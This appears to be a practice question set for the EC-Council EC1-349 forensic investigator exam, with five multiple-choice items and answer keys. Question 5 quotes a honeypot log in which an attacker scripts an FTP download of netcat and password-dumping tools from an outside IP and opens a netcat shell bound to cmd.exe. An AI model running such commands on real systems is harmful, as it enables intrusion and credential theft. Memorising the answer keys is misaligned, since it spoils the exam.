EC1-349$^{Q\&As}$

Computer Hacking Forensic Investigator Exam

Pass EC-COUNCIL EC1-349 Exam with 100% Guarantee

QUESTION 1

What technique used by Encase makes it virtually impossible to tamper with evidence once it has been acquired?

A. Every byte of the file(s) is given an MD5 hash to match against a master file

B. Every byte of the file(s) is verified using 32-bit CRC

C. Every byte of the file(s) is copied to three different hard drives

D. Every byte of the file(s) is encrypted using three different methods

Correct Answer: B

QUESTION 2

What is considered a grant of a property right given to an individual who discovers or invents a new machine, process, useful composition of matter or manufacture?

A. Copyright

B. Design patent

C. Trademark

D. Utility patent

Correct Answer: D

QUESTION 3

What stage of the incident handling process involves reporting events?

A. Containment

B. Follow-up

C. Identification

D. Recovery

Correct Answer: C

QUESTION 4

FAT32 is a 32-bit version of FAT file system using smaller clusters and results in efficient storage capacity. What is the maximum drive size supported?

A. 1 terabytes

B. 2 terabytes

C. 3 terabytes

D. 4 terabytes

Correct Answer: B

QUESTION 5

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.

He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.

```
"cmd1.exe /c open 213.116.251.162 >ftpcom"

"cmd1.exe /c echo johna2k >>ftpcom"

"cmd1.exe /c echo haxedj00 >>ftpcom"

"cmd1.exe /c echo get nc.exe >>ftpcom"

"cmd1.exe /c echo get pdump.exe >>ftpcom"

"cmd1.exe /c echo get samdump.dll >>ftpcom"

"cmd1.exe /c echo quit >>ftpcom"

"cmd1.exe /c ftp -s:ftpcom"

"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
```

What can you infer from the exploit given?

A. It is a local exploit where the attacker logs in using username johna2k

B. There are two attackers on the system ?johna2k and haxedj00

C. The attack is a remote exploit and the hacker downloads three files

D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port

Correct Answer: C

[EC1-349 Practice Test](#) [EC1-349 Study Guide](#) [EC1-349 Exam Questions](#)